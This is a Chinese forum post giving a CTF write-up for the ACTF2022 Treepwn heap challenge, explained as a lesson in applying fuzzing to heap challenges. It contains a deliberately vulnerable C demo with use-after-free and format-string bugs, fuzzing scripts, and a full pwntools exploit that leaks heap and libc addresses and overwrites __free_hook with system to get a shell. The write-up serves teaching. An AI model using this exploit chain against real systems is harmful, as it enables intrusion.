首页
社区
课程
招聘
[原创]【ACTF2022】从Fuzz到XCTF赛题
2022-7-1 21:39 19552

[原创]【ACTF2022】从Fuzz到XCTF赛题

2022-7-1 21:39
19552

前言

今年的XCTF最后一战ACTF圆满结束了,战队最后也是稳住了19名,应该能拿到决赛门票

 

img

 

但ACTF中,pwn题凄惨爆零。。。虽然只有俺做,但这不能成为摆烂的理由,毕竟要不断成长为战队主力,而且身边有很多很强的同龄师傅,更不应该气馁

 

在军训途中复现了Tree_pwn,在uuu师傅的引导下学到了如何将fuzz的思想用于比赛的堆题中,于是在此记录一下

什么是Fuzz

考虑很多师傅还不会fuzz或者没听过,在这里再提一下

 

img

 

以上是百度百科的介绍,未免有些抽象,下面举一个形象的例子:

 

相信大家都玩过CF,老版本的CF可以卡出一些奇奇怪怪的bug,就比如说,你站在一个箱子的一个角上来回前后前后摩擦步伐,就能够卡进箱子里

 

img

 

这其实也是一种fuzz,因为我们的移动其实也是一种通过键盘向挂在服务器上的程序的输入,卡进箱子里就是一种程序的漏洞

堆题Fuzz

笔者的这篇文章讲述了如何用AFL对开源的TCPdump进行fuzz,但一般的fuzz变异的程度太高,这是建立在对TCPdump这样源码码量极大的程序运行流极难分析的情况下的。但是如果熟练掌握程序运行流,写了一些比较好的初始的语料库,那么就能够大大提高fuzz的效率(对于TCPdump在github上就有初始的比较好的语料库)

 

而堆题又怎么fuzz呢?看看下面的demo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
 
#define N 1000
 
char* note[N];
 
void init()
{
    setbuf(stdin, 0);
    setbuf(stdout, 0);
    setbuf(stderr, 0);
}
 
void menu()
{
    puts("1.add");
    puts("2.delet");
    puts("3.edit");
    puts("4.show");
    puts("5.leak");
    puts("6.free");
    puts("7.write");
    puts("8.exit");
}
 
void add()
{
    int sz,idx;
    puts("size:");
    scanf("%d",&sz);
    puts("idx:");
    scanf("%d",&idx);
    note[idx]=(char *)malloc(sz);
}
 
void delet()
{
    int idx;
    puts("idx:");
    scanf("%d",&idx);
    free(note[idx]);
}
 
void edit()
{
    int idx,sz;
    puts("size:");
    scanf("%d",&sz);
    puts("idx:");
    scanf("%d",&idx);
    puts(">>");
    read(0,note[idx],sz);
}
 
void show()
{
    int idx;
    puts("idx:");
    scanf("%d",&idx);
    printf(">>: %s",note[idx]);   
}
 
void leak()
{
    char buf[100];
    puts("input:");   
    scanf("%s",buf);
    printf(buf);
}
 
void key_free()
{
    char* p[1];
    puts(">> ");
    read(0,p,0x8);
    free((char*)p[0]);
}
 
void write_in()
{
    char* p[1];
    int sz;
    puts(">> ");
    read(0,p,0x8);
    puts(">> ");
    scanf("%d",&sz);
    puts(">> ");
    read(0,(char*)p[0],sz);   
}
 
int main()
{
    int x;
    puts("welcome to use my demo");
    puts("it will help you know sth about ptmalloc2");
    init();
    while(1){
        menu();
        puts(">> ");
        scanf("%d",&x);
        if(x==1){
           add();   
        }
        else if(x==2){
           delet();   
        }
        else if(x==3){
           edit();   
        }
        else if(x==4){
           show();    
        }
        else if (x==5){
           leak();   
        }
        else if (x==6){
           key_free();   
        }
        else if (x==7){
           write_in();   
        }
        else if (x==8){
           exit(0);   
        }
        else{
            return 0;
        }      
    }
}

我们用如下的python脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
def fuzz():
    f=open('log.txt','w')
    for i in range(0,0x1000):
        if i % 10 == 0:
           idx=randint(0,0x10)
           add(idx,0x20)
           f.write('add({},0x20)'.format(idx)+'\n')
        elif i % 2 == 0 :
           idx=randint(0,0x10)
           delet(idx)
           f.write('delt({})'.format(idx)+'\n')
        elif i % 3 == 0 :
           idx=randint(0,0x10)
           show(idx)
           r.recvuntil('>>: ')
           check_char=r.recv(1)
           if check_char == '\x55' or check_char == '\x56':
              f.write('show({})'.format(idx)+'\n')
              break            
    f.close()

就能够探测出存不存在UAF漏洞和是否能够泄露堆地址:

 

img

 

并且把fuzz过程中使用的指令放在“log.txt”中,方便我们分析crash的成因:

 

img

 

有人会说,你这个程序看看就能看出来UAF和泄露堆地址在哪了:

 

img

 

确实,因为这是我自己写的用来调试ptmalloc2的demo,一般的题不会这么赤裸裸,比如2022ACTF那道Treepwn

题解

题目链接

版本

libc-2.27.1.6

保护

img

ida

在ida里面乱点一通,人都傻了,一大堆看不懂的函数

 

img

 

不过没扣符号表,百度那个显眼的MBR可以知道,函数实现了一棵叶子结点集大小上限为6的R-tree

 

简单说说R-tree:

 

R-tree是一种优化信息查找的平衡树(所有叶子节点都在一层的树),是B-tree向多维空间数据的一个扩展。而在B-tree中查找一个信息等价于在区间上做一次二分,也就是logN的时间复杂度

 

R-tree有个重要的概念,就是最小边界矩形MBR(Minimal Bounding Rectangle),以最简单的存放二维空间坐标的R-tree为例:叶子节点就是单个的坐标,叶子节点的父节点就是包含它以及它的兄弟的最小的一个空间矩形,而每个空间矩形有一个最大容纳量,也就是一个矩形中包含的最多的矩形或者点的个数。如下:

 

img

 

黑色的点表示叶子节点,红框和绿框是父节点,蓝筐是父节点的父节点(爷爷节点):

 

img

 

然而想要维护这一棵树需要很多的很复杂的函数,比如插入函数、查找函数、排序函数(平衡树一般插入或者删去节点就会有一个排序)以及达到上限或者下限(一个矩形中的节点删完了)的分裂函数等等,感兴趣的话可以自行了解

解题

事实说明,自己学了,学完了都不一定能逆懂这个程序,更别提找漏洞了

 

于是这个时候我们就可以上fuzz来找漏洞了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def fuzz():
 f=open('./log.txt','w')
 for i in range(0x1000):
    if(i%10==0):
        a = randint(0,8)
        b = randint(0,8)
        add(a,b,str(i))
        data0=r.recvuntil('Choice Table')
        if 'two many' in data0:
            break
        f.write(' add({},{},str({}))\n'.format(a,b,i))
    elif(i%2==0):
        a = randint(0,8)
        b = randint(0,8)
        delet(a,b)
        data0=r.recvline()
        if 'not exists' in data0:
            continue
        f.write(' delet({},{})\n'.format(a,b))
    else:
        continue
        a = randint(0,8)
        b = randint(0,8)
        c = randint(0,8)
        d = randint(0,8)
        query(a,b,c,d)
        data0=r.recvuntil('Choice Table')
        if 'totally 0 elements' in data0:
            continue
        elif '\x55' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            ##f.
            break
        elif '\x56' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            break
 f.close()

发现触发了double free(这个触发的堆块就是UAF堆块):

 

img

 

分析crash(甚至可以不分析)发现:

 

img

 

img

 

正常的free是有防止UAF的,但是在tree_split_leaf_node函数里面就没有,并且我们可以通过query或者show泄露出堆地址(上面的fuzz脚本如果跑通的话,就表明泄露heap地址了)

 

然而add的堆块是统一的0x30大小,如何泄露libc呢?

 

通过UAF提供的tcache double free修改一个fuzz出UAF堆块的size位为unsorted bin大小,然后free并show就可以泄露libc了。然后再fuzz出一个UAF的堆块,再tcache double free打free_hook就可以getshell了

 

也就是说需要fuzz出3个UAF堆块,我是分两次fuzz出的,运气已经很不错了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
from pwn import *
from hashlib import sha256
import os
import base64
context.log_level='debug'
#context.arch = 'amd64'
context.arch = 'amd64'
context.os = 'linux'
def proof_of_work(sh):
    sh.recvuntil(" == ")
    cipher = sh.recvline().strip().decode("utf8")
    proof = mbruteforce(lambda x: sha256((x).encode()).hexdigest() ==  cipher, string.ascii_letters + string.digits, length=4, method='fixed')
    sh.sendlineafter("input your ????>", proof)
##r=remote("123.57.69.203",7010)
##r=process('./sp1',env={"LD_PRELODA":"./libc-2.27.so"})
 
def proofOfWork():
    r.recvuntil('Submit the token generated by `')
    command = r.recvuntil('`',drop=True)
    r.sendline(os.popen(command).read())
 
 
def z():
    gdb.attach(r)
 
def cho(num):
    r.sendlineafter('> ',str(num))
 
def add(x,y,name):
    cho(0)
    r.sendlineafter("value: ",str(x))
    r.sendlineafter("value: ",str(y))
    r.sendafter("new element name: ",name.ljust(0x20,'\x00'))
 
def delet(x,y):
    cho(1)
    r.sendlineafter("want element x-coordinate value: ",str(x))
    r.sendlineafter("want element y-coordinate value: ",str(y))
 
def edit(x,y,name):
    cho(2)
    r.sendlineafter("want element x-coordinate value: ",str(x))
    r.sendlineafter("want element y-coordinate value: ",str(y))
    r.sendafter("name: ",name.ljust(0x20,'\x00'))
 
def show(x,y):
    cho(3)
    r.sendlineafter('value',str(x))
    r.sendlineafter('value',str(y))
 
def query(a,b,c,d):
    cho(4)
    r.sendlineafter("value: ",str(a))
    r.sendlineafter("value: ",str(b))
    r.sendlineafter("value: ",str(c))
    r.sendlineafter("value: ",str(d))
 
def fuzz():
 f=open('./log.txt','w')
 for i in range(0x1000):
    if(i%10==0):
        a = randint(0,8)
        b = randint(0,8)
        add(a,b,str(i))
        data0=r.recvuntil('Choice Table')
        if 'two many' in data0:
            break
        f.write(' add({},{},str({}))\n'.format(a,b,i))
    elif(i%2==0):
        a = randint(0,8)
        b = randint(0,8)
        delet(a,b)
        data0=r.recvline()
        if 'not exists' in data0:
            continue
        f.write(' delet({},{})\n'.format(a,b))
    else:
        continue
        a = randint(0,8)
        b = randint(0,8)
        c = randint(0,8)
        d = randint(0,8)
        query(a,b,c,d)
        data0=r.recvuntil('Choice Table')
        if 'totally 0 elements' in data0:
            continue
        elif '\x55' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            ##f.
            break
        elif '\x56' in data0:
            f.write(' query({},{},{},{})\n'.format(a,b,c,d))
            break
 f.close()
 
def leak_heap():
 global heap
 add(1,0,str(0))
 add(1,8,str(5))
 add(5,6,str(10))
 add(1,8,str(15))
 add(8,3,str(20))
 delet(8,3)
 add(8,7,str(25))
 add(4,0,str(30))
 add(2,6,str(35))
 add(6,1,str(40))
 add(1,6,str(45))
 add(3,7,str(50))
 add(8,4,str(55))
 delet(3,7)
 add(0,5,str(60))
 add(4,3,str(65))
 add(8,0,str(70))
 add(1,8,str(75))
 add(1,3,str(80))
 add(1,6,str(85))
 add(8,6,str(90))
 add(7,2,str(95))
 delet(0,5)
 delet(7,2)
 add(7,6,str(100))
 add(8,7,str(105))
 delet(8,7)
 add(2,4,str(110))
 add(3,0,str(115))
 delet(4,3)
 add(3,1,str(120))
 delet(8,6)
 add(7,8,str(125))
 delet(7,8)
 add(7,0,str(130))
 delet(8,7)
 add(7,6,str(135))
 add(4,4,str(140))
 delet(1,6)
 add(0,4,str(145))
 add(7,8,str(150))
 add(4,8,str(155))
 delet(3,1)
 add(6,1,str(160))
 add(8,0,str(165))
 add(3,4,str(170))
 delet(7,8)
 add(7,4,str(175))
 delet(4,8)
 delet(1,8)
 add(4,5,str(180))
 delet(3,0)
 add(8,8,str(185))
 delet(6,1)
 add(7,6,str(190))
 delet(8,0)
 add(7,3,str(195))
 delet(8,0)
 add(0,2,str(200))
 add(5,1,str(205))
 add(5,0,str(210))
 add(8,7,str(215))
 delet(2,4)
 ##z()
 query(1,0,5,5)
 ##string=r.recvuntil('\x55')[:-6]
 heap=u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00'))-0x10
 log.success('heap:'+str(hex(heap)))
 
def uaf():
 ##change(1,8)'s size to send it to unsorted bin
 add(3,6,str(0))
 add(2,0,str(10))
 delet(0,4)
 delet(8,7)
 add(3,2,str(20))
 add(6,6,str(30))
 delet(8,8)
 delet(0,2)
 add(0,3,str(40))
 delet(3,6)
 delet(5,6)
 add(1,8,str(50))
 delet(7,0)
 add(8,8,str(60))
 add(0,4,str(70))
 delet(3,4)
 add(6,1,str(80))
 add(7,5,str(90))
 ##z()
 ##delet(1,8)
 ##delet(7,5)
 ##delet(0,4) ##heap+0x8a8
 delet(8,8)
 delet(2,0)
 ##z()
 edit(2,0,p64(heap+0x8a0))
 add(2,0,'nameless')
 add(8,8,p64(0)+p64(0x551))
 ##z()
 ##z()
 add(4,6,str(0))
 delet(8,8)
 add(6,7,str(10))
 ##delet(3,6)
 ##delet(3,6)
 ##leak_libc
 delet(1,8)
 ##z()
 show(1,8)
 r.recvuntil('found!!! its name: ')
 libcbase=u64(r.recvuntil('\x7f').ljust(8,'\x00'))-0x3ebca0
 log.success('libcbase:'+hex(libcbase))
 '''
 f=open('log.txt','w')
 for i in range(0,9):
     for j in range(0,9):
         if(i==1 and j==8):continue
         delet(i,j)
         f.write(str(i)+" "+str(j)+'\n')
 f.close()
 '''
 
 ##set_libc_func
 free_hook=libcbase+libc.sym['__free_hook']
 system=libcbase+libc.sym['system']
 ##one=[0x4f2a5,0x4f302,0x10a2fc]
 ##onegadget=libcbase+one[0]
 
 f=open('log.txt','w')
 for i in range(0,9):
     for j in range(0,9):
         if(i==1 and j==8) : continue
         if(i==3 and j==6) : continue
         delet(i,j)
         f.write(str(i)+" "+str(j)+'\n')
 f.close()
 ##delet(3,6)
 ##delet(3,6)
 ## get_shell
 ##z()
 ##delet(6,1)
 ##delet(4,0)
 add(66,66,'nameless')
 delet(3,6)
 ##z()
 edit(3,6,p64(free_hook))
 add(3,6,'/bin/sh\x00')
 ##z()
 log.success('system:'+str(hex(system)))
 ##z()
 add(6,6,p64(system))
 delet(3,6)
 ##z()
 ##delet(3,6)
 ##delet(3,6)
 ##delet(1,7)
 ##z()
 ##add(66,66,'nameless')
 ##z()
 ##fuzz()
 ##z()
 ##delet(4,0)
 ##delet(4,0)
 
 ##delet(4,0)
 
 
def exp():
    global r
    global libc
    r=remote("121.36.241.104",9999)
    proofOfWork()
    ##r=process('./treepwn')
    libc=ELF('./libc-2.27.so')
    ##fuzz()
    leak_heap()
    uaf()
    r.interactive()
 
if __name__ == '__main__':
 
    exp()

需要注意的点

最后通过add修改free_hook的时候,可能触发分裂free一个0x50大小的MBR堆块,就会卡死程序,只要在这之前free掉无关的堆块就好了


[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界

最后于 2022-7-16 22:32 被Nameless_a编辑 ,原因:
上传的附件:
收藏
点赞8
打赏
分享
打赏 + 50.00雪花
打赏次数 1 雪花 + 50.00
 
赞赏  Editor   +50.00 2022/10/13 恭喜您获得“雪花”奖励,安全圈有你而精彩!
最新回复 (4)
雪    币: 117
活跃值: (867)
能力值: ( LV4,RANK:40 )
在线值:
发帖
回帖
粉丝
Mr.Bean 2022-7-25 15:13
2
0
好思路,感谢分享
雪    币: 1552
活跃值: (1288)
能力值: ( LV9,RANK:160 )
在线值:
发帖
回帖
粉丝
nicaicaiwo 2 2022-7-25 16:27
3
0
good
雪    币: 12052
活跃值: (15379)
能力值: ( LV12,RANK:240 )
在线值:
发帖
回帖
粉丝
pureGavin 2 2022-7-25 17:14
4
0
感谢分享,楼主你为什么这么强
雪    币: 207
活跃值: (529)
能力值: ( LV5,RANK:73 )
在线值:
发帖
回帖
粉丝
invoker丶 2022-10-11 09:16
5
0
学到了
游客
登录 | 注册 方可回帖
返回